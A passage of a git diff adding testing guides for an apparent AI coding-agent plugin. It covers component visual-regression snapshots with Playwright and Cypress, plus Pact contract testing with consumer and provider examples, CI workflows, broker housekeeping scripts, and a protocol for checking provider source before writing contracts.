+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
